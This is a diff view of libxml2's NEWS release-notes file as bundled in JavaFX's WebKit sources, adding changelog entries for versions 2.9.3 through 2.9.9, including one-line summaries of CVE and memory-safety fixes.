< prev index next > modules/javafx.web/src/main/native/Source/ThirdParty/libxml/src/NEWS
Print this page
The change log at
ChangeLog.html
describes the recents commits
to the GIT at
! http://git.gnome.org/browse/libxml2/
code base.Here is the list of public releases:
2.9.2: Oct 16 2014:
- Security:
Fix for CVE-2014-3660 billion laugh variant (Daniel Veillard),
CVE-2014-0191 Do not fetch external parameter entities (Daniel Veillard)
The change log at
ChangeLog.html
describes the recents commits
to the GIT at
! https://gitlab.gnome.org/GNOME/libxml2
code base.Here is the list of public releases:
+ v2.9.9: Jan 03 2019:
+ - Security:
+ CVE-2018-9251 CVE-2018-14567 Fix infinite loop in LZMA decompression (Nick Wellnhofer),
+ CVE-2018-14404 Fix nullptr deref with XPath logic ops (Nick Wellnhofer),
+
+ - Documentation:
+ reader: Fix documentation comment (Mohammed Sadiq)
+
+ - Portability:
+ Fix MSVC build with lzma (Nick Wellnhofer),
+ Variables need 'extern' in static lib on Cygwin (Michael Haubenwallner),
+ Really declare dllexport/dllimport for Cygwin (Michael Haubenwallner),
+ Merge branch 'patch-2' into 'master' (Nick Wellnhofer),
+ Change dir to $THEDIR after ACLOCAL_PATH check autoreconf creates aclocal.m4 in $srcdir (Vitaly Buka),
+ Improve error message if pkg.m4 couldn't be found (Nick Wellnhofer),
+ NaN and Inf fixes for pre-C99 compilers (Nick Wellnhofer)
+
+ - Bug Fixes:
+ Revert "Support xmlTextReaderNextSibling w/o preparsed doc" (Nick Wellnhofer),
+ Fix building relative URIs (Thomas Holder),
+ Problem with data in interleave in RelaxNG validation (Nikolai Weibull),
+ Fix memory leak in xmlSwitchInputEncodingInt error path (Nick Wellnhofer),
+ Set doc on element obtained from freeElems (Nick Wellnhofer),
+ Fix HTML serialization with UTF-8 encoding (Nick Wellnhofer),
+ Use actual doc in xmlTextReaderRead*Xml (Nick Wellnhofer),
+ Unlink node before freeing it in xmlSAX2StartElement (Nick Wellnhofer),
+ Check return value of nodePush in xmlSAX2StartElement (Nick Wellnhofer),
+ Free input buffer in xmlHaltParser (Nick Wellnhofer),
+ Reset HTML parser input pointers on encoding failure (Nick Wellnhofer),
+ Don't run icu_parse_test if EUC-JP is unsupported (Nick Wellnhofer),
+ Fix xmlSchemaValidCtxtPtr reuse memory leak (Greg Hildstrom),
+ Fix xmlTextReaderNext with preparsed document (Felix Bünemann),
+ Remove stray character from comment (Nick Wellnhofer),
+ Remove a misleading line from xmlCharEncOutput (Andrey Bienkowski),
+ HTML noscript should not close p (Daniel Veillard),
+ Don't change context node in xmlXPathRoot (Nick Wellnhofer),
+ Stop using XPATH_OP_RESET (Nick Wellnhofer),
+ Revert "Change calls to xmlCharEncInput to set flush false" (Nick Wellnhofer)
+
+ - Improvements:
+ Fix "Problem with data in interleave in RelaxNG validation" (Nikolai Weibull),
+ cleanup: remove some unreachable code (Thomas Holder),
+ add --relative to testURI (Thomas Holder),
+ Remove redefined starts and defines inside include elements (Nikolai Weibull),
+ Allow choice within choice in nameClass in RELAX NG (Nikolai Weibull),
+ Look inside divs for starts and defines inside include (Nikolai Weibull),
+ Add compile and libxml2-config.cmake to .gitignore (Nikolai Weibull),
+ Stop using doc->charset outside parser code (Nick Wellnhofer),
+ Add newlines to 'xmllint --xpath' output (Nick Wellnhofer),
+ Don't include SAX.h from globals.h (Nick Wellnhofer),
+ Support xmlTextReaderNextSibling w/o preparsed doc (Felix Bünemann),
+ Don't instruct user to run make when autogen.sh failed (林博仁(Buo-ren Lin)),
+ Run Travis ASan tests with "sudo: required" (Nick Wellnhofer),
+ Improve restoring of context size and position (Nick Wellnhofer),
+ Simplify and harden nodeset filtering (Nick Wellnhofer),
+ Avoid unnecessary backups of the context node (Nick Wellnhofer),
+ Fix inconsistency in xmlXPathIsInf (Nick Wellnhofer)
+
+ - Cleanups:
+
+
+
+ v2.9.8: Mar 05 2018:
+ - Portability:
+ python: remove single use of _PyVerify_fd (Patrick Welche),
+ Build more test executables on Windows/MSVC (Nick Wellnhofer),
+ Stop including ansidecl.h (Nick Wellnhofer),
+ Fix libz and liblzma detection (Nick Wellnhofer),
+ Revert "Compile testapi with -Wno-unused-function" (Nick Wellnhofer)
+
+ - Bug Fixes:
+ Fix xmlParserEntityCheck (Nick Wellnhofer),
+ Halt parser in case of encoding error (Nick Wellnhofer),
+ Clear entity content in case of errors (Nick Wellnhofer),
+ Change calls to xmlCharEncInput to set flush false when not final call. Having flush incorrectly set to true causes errors for ICU. (Joel Hockey),
+ Fix buffer over-read in xmlParseNCNameComplex (Nick Wellnhofer),
+ Fix ICU library filenames on Windows/MSVC (Nick Wellnhofer),
+ Fix xmlXPathIsNaN broken by recent commit (Nick Wellnhofer),
+ Fix -Wenum-compare warnings (Nick Wellnhofer),
+ Fix callback signature in testapi.c (Nick Wellnhofer),
+ Fix unused parameter warning without ICU (Nick Wellnhofer),
+ Fix IO callback signatures (Nick Wellnhofer),
+ Fix misc callback signatures (Nick Wellnhofer),
+ Fix list callback signatures (Nick Wellnhofer),
+ Fix hash callback signatures (Nick Wellnhofer),
+ Refactor name and type signature for xmlNop (Vlad Tsyrklevich),
+ Fixed ICU to set flush correctly and provide pivot buffer. (Joel Hockey),
+ Skip EBCDIC tests if EBCDIC isn't supported (Nick Wellnhofer)
+
+ - Improvements:
+ Disable pointer-overflow UBSan checks under Travis (Nick Wellnhofer),
+ Improve handling of context input_id (Daniel Veillard),
+ Add resource file to Windows DLL (ccpaging),
+ Run Travis tests with -Werror (Nick Wellnhofer),
+ Build with "-Wall -Wextra" (Nick Wellnhofer),
+ Fix -Wtautological-pointer-compare warnings (Nick Wellnhofer),
+ Remove unused AC_CHECKs (Nick Wellnhofer),
+ Update information about contributing (Nick Wellnhofer),
+ Fix -Wmisleading-indentation warnings (Nick Wellnhofer),
+ Don't touch CFLAGS in configure.ac (Nick Wellnhofer),
+ Ignore function pointer cast warnings (Nick Wellnhofer),
+ Simplify XPath NaN, inf and -0 handling (Nick Wellnhofer),
+ Introduce xmlPosixStrdup and update xmlMemStrdup (Nick Wellnhofer),
+ Add test for ICU flush and pivot buffer (Nick Wellnhofer),
+ Compile testapi with -Wno-unused-function (Nick Wellnhofer)
+
+
+
+ 2.9.7: Nov 02 2017:
+ - Documentation:
+ xmlcatalog: refresh man page wrt. quering system catalog easily (Jan Pokorný)
+
+ - Portability:
+ Fix deprecated Travis compiler flag (Nick Wellnhofer),
+ Add declaration for DllMain (J. Peter Mugaas),
+ Fix preprocessor conditional in threads.h (J. Peter Mugaas),
+ Fix pointer comparison warnings on 64-bit Windows (J. Peter Mugaas),
+ Fix macro redefinition warning (J. Peter Mugaas),
+ Default to native threads on MinGW-w64 (Nick Wellnhofer),
+ Simplify Windows IO functions (Nick Wellnhofer),
+ Fix runtest on Windows (Nick Wellnhofer),
+ socklen_t is always int on Windows (Nick Wellnhofer),
+ Don't redefine socket error codes on Windows (Nick Wellnhofer),
+ Fix pointer/int cast warnings on 64-bit Windows (Nick Wellnhofer),
+ Fix Windows compiler warnings in xmlCanonicPath (Nick Wellnhofer)
+
+ - Bug Fixes:
+ xmlcatalog: restore ability to query system catalog easily (Jan Pokorný),
+ Fix comparison of nodesets to strings (Nick Wellnhofer)
+
+ - Improvements:
+ Add Makefile rules to rebuild HTML man pages (Nick Wellnhofer),
+ Fix mixed decls and code in timsort.h (Nick Wellnhofer),
+ Rework handling of return values in thread tests (Nick Wellnhofer),
+ Fix unused variable warnings in testrecurse (Nick Wellnhofer),
+ Fix -Wimplicit-fallthrough warnings (J. Peter Mugaas),
+ Upgrade timsort.h to latest revision (Nick Wellnhofer),
+ Increase warning level to /W3 under MSVC (Nick Wellnhofer),
+ Fix a couple of warnings in dict.c and threads.c (Nick Wellnhofer),
+ Update .gitignore for Windows (Nick Wellnhofer),
+ Fix unused variable warnings in nanohttp.c (Nick Wellnhofer),
+ Fix the Windows header mess (Nick Wellnhofer),
+ Don't include winsock2.h in xmllint.c (Nick Wellnhofer),
+ Remove generated file python/setup.py from version control (Nick Wellnhofer),
+ Use __linux__ macro in generated code (Nick Wellnhofer)
+
+
+
+ v2.9.6: Oct 06 2017:
+ - Portability:
+ Change preprocessor OS tests to __linux__ (Nick Wellnhofer)
+
+ - Bug Fixes:
+ Fix XPath stack frame logic (Nick Wellnhofer),
+ Report undefined XPath variable error message (Nick Wellnhofer),
+ Fix regression with librsvg (Nick Wellnhofer),
+ Handle more invalid entity values in recovery mode (Nick Wellnhofer),
+ Fix structured validation errors (Nick Wellnhofer),
+ Fix memory leak in LZMA decompressor (Nick Wellnhofer),
+ Set memory limit for LZMA decompression (Nick Wellnhofer),
+ Handle illegal entity values in recovery mode (Nick Wellnhofer),
+ Fix debug dump of streaming XPath expressions (Nick Wellnhofer),
+ Fix memory leak in nanoftp (Nick Wellnhofer),
+ Fix memory leaks in SAX1 parser (Nick Wellnhofer)
+
+
+
+ v2.9.5: Sep 04 2017:
+ - Security:
+ Detect infinite recursion in parameter entities (Nick Wellnhofer),
+ Fix handling of parameter-entity references (Nick Wellnhofer),
+ Disallow namespace nodes in XPointer ranges (Nick Wellnhofer),
+ Fix XPointer paths beginning with range-to (Nick Wellnhofer)
+
+ - Documentation:
+ Documentation fixes (Nick Wellnhofer),
+ Spelling and grammar fixes (Nick Wellnhofer)
+
+ - Portability:
+ Adding README.zOS to list of extra files for the release (Daniel Veillard),
+ Description of work needed to compile on zOS (Stéphane Michaut),
+ Porting libxml2 on zOS encoding of code (Stéphane Michaut),
+ small changes for OS/400 (Patrick Monnerat),
+ relaxng.c, xmlschemas.c: Fix build on pre-C99 compilers (Chun-wei Fan)
+
+ - Bug Fixes:
+ Problem resolving relative URIs (Daniel Veillard),
+ Fix unwanted warnings when switching encodings (Nick Wellnhofer),
+ Fix signature of xmlSchemaAugmentImportedIDC (Daniel Veillard),
+ Heap-buffer-overflow read of size 1 in xmlFAParsePosCharGroup (David Kilzer),
+ Fix NULL pointer deref in xmlFAParseCharClassEsc (Nick Wellnhofer),
+ Fix infinite loops with push parser in recovery mode (Nick Wellnhofer),
+ Send xmllint usage error to stderr (Nick Wellnhofer),
+ Fix NULL deref in xmlParseExternalEntityPrivate (Nick Wellnhofer),
+ Make sure not to call IS_BLANK_CH when parsing the DTD (Nick Wellnhofer),
+ Fix xmlHaltParser (Nick Wellnhofer),
+ Fix pathological performance when outputting charrefs (Nick Wellnhofer),
+ Fix invalid-source-encoding warnings in testWriter.c (Nick Wellnhofer),
+ Fix duplicate SAX callbacks for entity content (David Kilzer),
+ Treat URIs with scheme as absolute in C14N (Nick Wellnhofer),
+ Fix copy-paste errors in error messages (Nick Wellnhofer),
+ Fix sanity check in htmlParseNameComplex (Nick Wellnhofer),
+ Fix potential infinite loop in xmlStringLenDecodeEntities (Nick Wellnhofer),
+ Reset parser input pointers on encoding failure (Nick Wellnhofer),
+ Fix memory leak in xmlParseEntityDecl error path (Nick Wellnhofer),
+ Fix xmlBuildRelativeURI for URIs starting with './' (Nick Wellnhofer),
+ Fix type confusion in xmlValidateOneNamespace (Nick Wellnhofer),
+ Fix memory leak in xmlStringLenGetNodeList (Nick Wellnhofer),
+ Fix NULL pointer deref in xmlDumpElementContent (Daniel Veillard),
+ Fix memory leak in xmlBufAttrSerializeTxtContent (Nick Wellnhofer),
+ Stop parser on unsupported encodings (Nick Wellnhofer),
+ Check for integer overflow in memory debug code (Nick Wellnhofer),
+ Fix buffer size checks in xmlSnprintfElementContent (Nick Wellnhofer),
+ Avoid reparsing in xmlParseStartTag2 (Nick Wellnhofer),
+ Fix undefined behavior in xmlRegExecPushStringInternal (Nick Wellnhofer),
+ Check XPath exponents for overflow (Nick Wellnhofer),
+ Check for overflow in xmlXPathIsPositionalPredicate (Nick Wellnhofer),
+ Fix spurious error message (Nick Wellnhofer),
+ Fix memory leak in xmlCanonicPath (Nick Wellnhofer),
+ Fix memory leak in xmlXPathCompareNodeSetValue (Nick Wellnhofer),
+ Fix memory leak in pattern error path (Nick Wellnhofer),
+ Fix memory leak in parser error path (Nick Wellnhofer),
+ Fix memory leaks in XPointer error paths (Nick Wellnhofer),
+ Fix memory leak in xmlXPathNodeSetMergeAndClear (Nick Wellnhofer),
+ Fix memory leak in XPath filter optimizations (Nick Wellnhofer),
+ Fix memory leaks in XPath error paths (Nick Wellnhofer),
+ Do not leak the new CData node if adding fails (David Tardon),
+ Prevent unwanted external entity reference (Neel Mehta),
+ Increase buffer space for port in HTTP redirect support (Daniel Veillard),
+ Fix more NULL pointer derefs in xpointer.c (Nick Wellnhofer),
+ Avoid function/data pointer conversion in xpath.c (Nick Wellnhofer),
+ Fix format string warnings (Nick Wellnhofer),
+ Disallow namespace nodes in XPointer points (Nick Wellnhofer),
+ Fix comparison with root node in xmlXPathCmpNodes (Nick Wellnhofer),
+ Fix attribute decoding during XML schema validation (Alex Henrie),
+ Fix NULL pointer deref in XPointer range-to (Nick Wellnhofer)
+
+ - Improvements:
+ Updating the spec file to reflect Fedora 24 (Daniel Veillard),
+ Add const in five places to move 1 KiB to .rdata (Bruce Dawson),
+ Fix missing part of comment for function xmlXPathEvalExpression() (Daniel Veillard),
+ Get rid of "blanks wrapper" for parameter entities (Nick Wellnhofer),
+ Simplify handling of parameter entity references (Nick Wellnhofer),
+ Deduplicate code in encoding.c (Nick Wellnhofer),
+ Make HTML parser functions take const pointers (Nick Wellnhofer),
+ Build test programs only when needed (Nick Wellnhofer),
+ Fix doc/examples/index.py (Nick Wellnhofer),
+ Fix compiler warnings in threads.c (Nick Wellnhofer),
+ Fix empty-body warning in nanohttp.c (Nick Wellnhofer),
+ Fix cast-align warnings (Nick Wellnhofer),
+ Fix unused-parameter warnings (Nick Wellnhofer),
+ Rework entity boundary checks (Nick Wellnhofer),
+ Don't switch encoding for internal parameter entities (Nick Wellnhofer),
+ Merge duplicate code paths handling PE references (Nick Wellnhofer),
+ Test SAX2 callbacks with entity substitution (Nick Wellnhofer),
+ Support catalog and threads tests under --without-sax1 (Nick Wellnhofer),
+ Misc fixes for 'make tests' (Nick Wellnhofer),
+ Initialize keepBlanks in HTML parser (Nick Wellnhofer),
+ Add test cases for bug 758518 (David Kilzer),
+ Fix compiler warning in htmlParseElementInternal (Nick Wellnhofer),
+ Remove useless check in xmlParseAttributeListDecl (Nick Wellnhofer),
+ Allow zero sized memory input buffers (Nick Wellnhofer),
+ Add TODO comment in xmlSwitchEncoding (Nick Wellnhofer),
+ Check for integer overflow in xmlXPathFormatNumber (Nick Wellnhofer),
+ Make Travis print UBSan stacktraces (Nick Wellnhofer),
+ Add .travis.yml (Nick Wellnhofer),
+ Fix expected error output in Python tests (Nick Wellnhofer),
+ Simplify control flow in xmlParseStartTag2 (Nick Wellnhofer),
+ Disable LeakSanitizer when running API tests (Nick Wellnhofer),
+ Avoid out-of-bound array access in API tests (Nick Wellnhofer),
+ Avoid spurious UBSan errors in parser.c (Nick Wellnhofer),
+ Parse small XPath numbers more accurately (Nick Wellnhofer),
+ Rework XPath rounding functions (Nick Wellnhofer),
+ Fix white space in test output (Nick Wellnhofer),
+ Fix axis traversal from attribute and namespace nodes (Nick Wellnhofer),
+ Check for trailing characters in XPath expressions earlier (Nick Wellnhofer),
+ Rework final handling of XPath results (Nick Wellnhofer),
+ Make xmlXPathEvalExpression call xmlXPathEval (Nick Wellnhofer),
+ Remove unused variables (Nick Wellnhofer),
+ Don't print generic error messages in XPath tests (Nick Wellnhofer)
+
+ - Cleanups:
+ Fix a couple of misleading indentation errors (Daniel Veillard),
+ Remove unnecessary calls to xmlPopInput (Nick Wellnhofer)
+
+
+
+ 2.9.4: May 23 2016:
+ - Security:
+ More format string warnings with possible format string vulnerability (David Kilzer),
+ Avoid building recursive entities (Daniel Veillard),
+ Heap-based buffer overread in htmlCurrentChar (Pranjal Jumde),
+ Heap-based buffer-underreads due to xmlParseName (David Kilzer),
+ Heap use-after-free in xmlSAX2AttributeNs (Pranjal Jumde),
+ Heap use-after-free in htmlParsePubidLiteral and htmlParseSystemiteral (Pranjal Jumde),
+ Fix some format string warnings with possible format string vulnerability (David Kilzer),
+ Detect change of encoding when parsing HTML names (Hugh Davenport),
+ Fix inappropriate fetch of entities content (Daniel Veillard),
+ Bug 759398: Heap use-after-free in xmlDictComputeFastKey <https://bugzilla.gnome.org/show_bug.cgi?id=759398> (Pranjal Jumde),
+ Bug 758605: Heap-based buffer overread in xmlDictAddString <https://bugzilla.gnome.org/show_bug.cgi?id=758605> (Pranjal Jumde),
+ Bug 758588: Heap-based buffer overread in xmlParserPrintFileContextInternal <https://bugzilla.gnome.org/show_bug.cgi?id=758588> (David Kilzer),
+ Bug 757711: heap-buffer-overflow in xmlFAParsePosCharGroup <https://bugzilla.gnome.org/show_bug.cgi?id=757711> (Pranjal Jumde),
+ Add missing increments of recursion depth counter to XML parser. (Peter Simons)
+
+ - Documentation:
+ Fix typo: s{ ec -> cr }cipt (Jan Pokorný),
+ Fix typos: dictio{ nn -> n }ar{y,ies} (Jan Pokorný),
+ Fix typos: PATH_{ SEAPARATOR -> SEPARATOR } (Jan Pokorný),
+ Correct a typo. (Shlomi Fish)
+
+ - Portability:
+ Correct the usage of LDFLAGS (Mattias Hansson),
+ Revert the use of SAVE_LDFLAGS in configure.ac (Mattias Hansson),
+ libxml2 hardcodes -L/lib in zlib/lzma tests which breaks cross-compiles (Mike Frysinger),
+ Fix apibuild for a recently added construct (Daniel Veillard),
+ Use pkg-config to locate zlib when possible (Stewart Brodie),
+ Use pkg-config to locate ICU when possible (Stewart Brodie),
+ Portability to non C99 compliant compilers (Patrick Monnerat),
+ dict.h: Move xmlDictPtr definition before includes to allow direct inclusion. (Patrick Monnerat),
+ os400: tell about xmllint and xmlcatalog in README400. (Patrick Monnerat),
+ os400: properly process SGML add in XMLCATALOG command. (Patrick Monnerat),
+ os400: implement CL command XMLCATALOG. (Patrick Monnerat),
+ os400: compile and install program xmlcatalog (qshell-only). (Patrick Monnerat),
+ os400: expand tabs in sources, strip trailing blanks. (Patrick Monnerat),
+ os400: implement CL command XMLLINT. (Patrick Monnerat),
+ os400: compile and install program xmllint (qshell-only). (Patrick Monnerat),
+ os400: initscript make_module(): Use options instead of positional parameters. (Patrick Monnerat),
+ os400: c14n.rpgle: allow *omit for nullable reference parameters. (Patrick Monnerat),
+ os400: use like() for double type. (Patrick Monnerat),
+ os400: use like() for int type. (Patrick Monnerat),
+ os400: use like() for unsigned int type. (Patrick Monnerat),
+ os400: use like() for enum types. (Patrick Monnerat),
+ Add xz to xml2-config --libs output (Baruch Siach),
+ Bug 760190: configure.ac should be able to build --with-icu without icu-config tool <https://bugzilla.gnome.org/show_bug.cgi?id=760190> (David Kilzer),
+ win32\VC10\config.h and VS 2015 (Bruce Dawson),
+ Add configure maintainer mode (orzen)
+
+ - Bug Fixes:
+ Avoid an out of bound access when serializing malformed strings (Daniel Veillard),
+ Unsigned addition may overflow in xmlMallocAtomicLoc() (David Kilzer),
+ Integer signed/unsigned type mismatch in xmlParserInputGrow() (David Kilzer),
+ Bug 763071: heap-buffer-overflow in xmlStrncat <https://bugzilla.gnome.org/show_bug.cgi?id=763071> (Pranjal Jumde),
+ Integer overflow parsing port number in URI (Michael Paddon),
+ Fix an error with regexp on nullable counted char transition (Daniel Veillard),
+ Fix memory leak with XPath namespace nodes (Nick Wellnhofer),
+ Fix namespace axis traversal (Nick Wellnhofer),
+ Fix null pointer deref in docs with no root element (Hugh Davenport),
+ Fix XSD validation of URIs with ampersands (Alex Henrie),
+ xmlschemastypes.c: accept endOfDayFrag Times set to "24:00:00" mean "end of day" and should not cause an error. (Patrick Monnerat),
+ xmlcatalog: flush stdout before interactive shell input. (Patrick Monnerat),
+ xmllint: flush stdout before interactive shell input. (Patrick Monnerat),
+ Don't recurse into OP_VALUEs in xmlXPathOptimizeExpression (Nick Wellnhofer),
+ Fix namespace::node() XPath expression (Nick Wellnhofer),
+ Fix OOB write in xmlXPathEmptyNodeSet (Nick Wellnhofer),
+ Fix parsing of NCNames in XPath (Nick Wellnhofer),
+ Fix OOB read with invalid UTF-8 in xmlUTF8Strsize (Nick Wellnhofer),
+ Do normalize string-based datatype value in RelaxNG facet checking (Audric Schiltknecht),
+ Bug 760921: REGRESSION (8eb55d78): doc/examples/io1 test fails after fix for "xmlSaveUri() incorrectly recomposes URIs with rootless paths" <https://bugzilla.gnome.org/show_bug.cgi?id=760921> (David Kilzer),
+ Bug 760861: REGRESSION (bf9c1dad): Missing results for test/schemas/regexp-char-ref_[01].xsd <https://bugzilla.gnome.org/show_bug.cgi?id=760861> (David Kilzer),
+ error.c: *input->cur == 0 does not mean no error (Pavel Raiskup),
+ Add missing RNG test files (David Kilzer),
+ Bug 760183: REGRESSION (v2.9.3): XML push parser fails with bogus UTF-8 encoding error when multi-byte character in large CDATA section is split across buffer <https://bugzilla.gnome.org/show_bug.cgi?id=760183> (David Kilzer),
+ Bug 758572: ASAN crash in make check <https://bugzilla.gnome.org/show_bug.cgi?id=758572> (David Kilzer),
+ Bug 721158: Missing ICU string when doing --version on xmllint <https://bugzilla.gnome.org/show_bug.cgi?id=721158> (David Kilzer),
+ python 3: libxml2.c wrappers create Unicode str already (Michael Stahl),
+ Add autogen.sh to distrib (orzen),
+ Heap-based buffer overread in xmlNextChar (Daniel Veillard)
+
+ - Improvements:
+ Add more debugging info to runtest (Daniel Veillard),
+ Implement "runtest -u" mode (David Kilzer),
+ Add a make rule to rebuild for ASAN (Daniel Veillard)
+
+
+
+ v2.9.3: Nov 20 2015:
+ - Security:
+ CVE-2015-8242 Buffer overead with HTML parser in push mode (Hugh Davenport),
+ CVE-2015-7500 Fix memory access error due to incorrect entities boundaries (Daniel Veillard),
+ CVE-2015-7499-2 Detect incoherency on GROW (Daniel Veillard),
+ CVE-2015-7499-1 Add xmlHaltParser() to stop the parser (Daniel Veillard),
+ CVE-2015-5312 Another entity expansion issue (David Drysdale),
+ CVE-2015-7497 Avoid an heap buffer overflow in xmlDictComputeFastQKey (David Drysdale),
+ CVE-2015-7498 Avoid processing entities after encoding conversion failures (Daniel Veillard),
+ CVE-2015-8035 Fix XZ compression support loop (Daniel Veillard),
+ CVE-2015-7942-2 Fix an error in previous Conditional section patch (Daniel Veillard),
+ CVE-2015-7942 Another variation of overflow in Conditional sections (Daniel Veillard),
+ CVE-2015-1819 Enforce the reader to run in constant memory (Daniel Veillard)
+ CVE-2015-7941_2 Cleanup conditional section error handling (Daniel Veillard),
+ CVE-2015-7941_1 Stop parsing on entities boundaries errors (Daniel Veillard),
+
+ - Documentation:
+ Correct spelling of "calling" (Alex Henrie),
+ Fix a small error in xmllint --format description (Fabien Degomme),
+ Avoid XSS on the search of xmlsoft.org (Daniel Veillard)
+
+ - Portability:
+ threads: use forward declarations only for glibc (Michael Heimpold),
+ Update Win32 configure.js to search for configure.ac (Daniel Veillard)
+
+ - Bug Fixes:
+ Bug on creating new stream from entity (Daniel Veillard),
+ Fix some loop issues embedding NEXT (Daniel Veillard),
+ Do not print error context when there is none (Daniel Veillard),
+ Avoid extra processing of MarkupDecl when EOF (Hugh Davenport),
+ Fix parsing short unclosed comment uninitialized access (Daniel Veillard),
+ Add missing Null check in xmlParseExternalEntityPrivate (Gaurav Gupta),
+ Fix a bug in CData error handling in the push parser (Daniel Veillard),
+ Fix a bug on name parsing at the end of current input buffer (Daniel Veillard),
+ Fix the spurious ID already defined error (Daniel Veillard),
+ Fix previous change to node sort order (Nick Wellnhofer),
+ Fix a self assignment issue raised by clang (Scott Graham),
+ Fail parsing early on if encoding conversion failed (Daniel Veillard),
+ Do not process encoding values if the declaration if broken (Daniel Veillard),
+ Silence clang's -Wunknown-attribute (Michael Catanzaro),
+ xmlMemUsed is not thread-safe (Martin von Gagern),
+ Fix support for except in nameclasses (Daniel Veillard),
+ Fix order of root nodes (Nick Wellnhofer),
+ Allow attributes on descendant-or-self axis (Nick Wellnhofer),
+ Fix the fix to Windows locking (Steve Nairn),
+ Fix timsort invariant loop re: Envisage article (Christopher Swenson),
+ Don't add IDs in xmlSetTreeDoc (Nick Wellnhofer),
+ Account for ID attributes in xmlSetTreeDoc (Nick Wellnhofer),
+ Remove various unused value assignments (Philip Withnall),
+ Fix missing entities after CVE-2014-3660 fix (Daniel Veillard),
+ Revert "Missing initialization for the catalog module" (Daniel Veillard)
+
+ - Improvements:
+ Reuse xmlHaltParser() where it makes sense (Daniel Veillard),
+ xmlStopParser reset errNo (Daniel Veillard),
+ Reenable xz support by default (Daniel Veillard),
+ Recover unescaped less-than character in HTML recovery parsing (Daniel Veillard),
+ Allow HTML serializer to output HTML5 DOCTYPE (Shaun McCance),
+ Regression test for bug #695699 (Nick Wellnhofer),
+ Add a couple of XPath tests (Nick Wellnhofer),
+ Add Python 3 rpm subpackage (Tomas Radej),
+ libxml2-config.cmake.in: update include directories (Samuel Martin),
+ Adding example from bugs 738805 to regression tests (Daniel Veillard)
+
+ - Cleanups:
+
+
+
2.9.2: Oct 16 2014:
- Security:
Fix for CVE-2014-3660 billion laugh variant (Daniel Veillard),
CVE-2014-0191 Do not fetch external parameter entities (Daniel Veillard)
(Robert Schwebel), python whitespace (Martin), many space/tabs cleanups,
serious cleanup of the entity handling code
- Improvement: switch parser to XML-1.0 5th edition, add parsing flags
for old versions, switch URI parsing to RFC 3986,
add xmlSchemaValidCtxtGetParserCtxt (Holger Kaelberer),
! new hashing functions for dictionaries (based on Stefan Behnel work),
improve handling of misplaced html/head/body in HTML parser, better
regression test tools and code coverage display, better algorithms
to detect various versions of the billion laughts attacks, make
arbitrary parser limits avoidable as a parser option
(Robert Schwebel), python whitespace (Martin), many space/tabs cleanups,
serious cleanup of the entity handling code
- Improvement: switch parser to XML-1.0 5th edition, add parsing flags
for old versions, switch URI parsing to RFC 3986,
add xmlSchemaValidCtxtGetParserCtxt (Holger Kaelberer),
! new hashing functions for dictionnaries (based on Stefan Behnel work),
improve handling of misplaced html/head/body in HTML parser, better
regression test tools and code coverage display, better algorithms
to detect various versions of the billion laughts attacks, make
arbitrary parser limits avoidable as a parser option
- Bug fixes: XPath bug (William Brack), HTML parser autoclose stack usage
(Usamah Malik), various regexp bug fixes (DV and William), path conversion
on Windows (Igor Zlatkovic), htmlCtxtReset fix (Michael Day), XPath
principal node of axis bug, HTML serialization of some codepoint
(Steven Rainwater), user data propagation in XInclude (Michael Day),
! standalone and XML decl detection (Michael Day), Python id ouptut
for some id, fix the big python string memory leak, URI parsing fixes
(StÃ©phane Bidoul and William), long comments parsing bug (William),
concurrent threads initialization (Ted Phelps), invalid char
in text XInclude (William), XPath memory leak (William), tab in
python problems (Andreas Hanke), XPath node comparison error
- Bug fixes: XPath bug (William Brack), HTML parser autoclose stack usage
(Usamah Malik), various regexp bug fixes (DV and William), path conversion
on Windows (Igor Zlatkovic), htmlCtxtReset fix (Michael Day), XPath
principal node of axis bug, HTML serialization of some codepoint
(Steven Rainwater), user data propagation in XInclude (Michael Day),
! standalone and XML decl detection (Michael Day), Python id output
for some id, fix the big python string memory leak, URI parsing fixes
(StÃ©phane Bidoul and William), long comments parsing bug (William),
concurrent threads initialization (Ted Phelps), invalid char
in text XInclude (William), XPath memory leak (William), tab in
python problems (Andreas Hanke), XPath node comparison error
XML Schemas attribute group (William), HTML parsing problem (William),
fix char 0x2d in regexps (William), regexp quantifier range with
min occurs of 0 (William), HTML script/style parsing (Mike Day)
- Improvement: make xmlTextReaderSetup() public
- Compilation and postability: fix a missing include problem (William),
! __ss_familly on AIX again (BjÃ¶rn Wiberg), compilation without zlib
(Michael Day), catalog patch for Win32 (Christian Ehrlicher),
Windows CE fixes (Andreas Stricke)
- Various CVS to SVN infrastructure changes
XML Schemas attribute group (William), HTML parsing problem (William),
fix char 0x2d in regexps (William), regexp quantifier range with
min occurs of 0 (William), HTML script/style parsing (Mike Day)
- Improvement: make xmlTextReaderSetup() public
- Compilation and postability: fix a missing include problem (William),
! __ss_family on AIX again (BjÃ¶rn Wiberg), compilation without zlib
(Michael Day), catalog patch for Win32 (Christian Ehrlicher),
Windows CE fixes (Andreas Stricke)
- Various CVS to SVN infrastructure changes
xmlSchemaClearValidCtxt (Bertrand Fritsch), xmlSchemaXPathEvaluate
allocation bug (Marton Illes), error message end of line (Rob Richards),
fix attribute serialization in writer (Rob Richards), PHP4 DTD validation
crasher, parser safety patch (Ben Darnell), _private context propagation
when parsing entities (with Michael Day), fix entities behaviour when
! using SAX, URI to file path fix (Mikhail Zabaluev), disapearing validity
context, arg error in SAX callback (Mike Hommey), fix mixed-content
autodetect when using --noblanks, fix xmlIOParseDTD error handling,
fix bug in xmlSplitQName on special Names, fix Relax-NG element content
validation bug, fix xmlReconciliateNs bug, fix potential attribute
XML parsing bug, fix line/column accounting in XML parser, chunking bug
xmlSchemaClearValidCtxt (Bertrand Fritsch), xmlSchemaXPathEvaluate
allocation bug (Marton Illes), error message end of line (Rob Richards),
fix attribute serialization in writer (Rob Richards), PHP4 DTD validation
crasher, parser safety patch (Ben Darnell), _private context propagation
when parsing entities (with Michael Day), fix entities behaviour when
! using SAX, URI to file path fix (Mikhail Zabaluev), disappearing validity
context, arg error in SAX callback (Mike Hommey), fix mixed-content
autodetect when using --noblanks, fix xmlIOParseDTD error handling,
fix bug in xmlSplitQName on special Names, fix Relax-NG element content
validation bug, fix xmlReconciliateNs bug, fix potential attribute
XML parsing bug, fix line/column accounting in XML parser, chunking bug
xmlSchemaCheckCSelectorXPath(), xmlTextWriterVSprintf() misuse of
vsnprintf (William Brack), XHTML serialization fix (Rob Richards), CRLF
split problem (William), issues with non-namespaced attributes in
xmlAddChild() xmlAddNextSibling() and xmlAddPrevSibling() (Rob Richards),
HTML parsing of script, Python must not output to stdout (Nic Ferrier),
! exclusive C14N namespace visibility (Aleksey Sanin), XSD dataype
